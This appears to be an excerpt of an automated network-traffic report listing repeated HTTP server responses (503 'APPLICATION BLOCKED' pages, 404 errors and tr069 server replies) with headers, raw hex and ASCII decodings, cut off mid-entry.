3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 15 Apr 2024 14:53:20 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 11:53:25 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 11:53:25 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:31 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:31 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 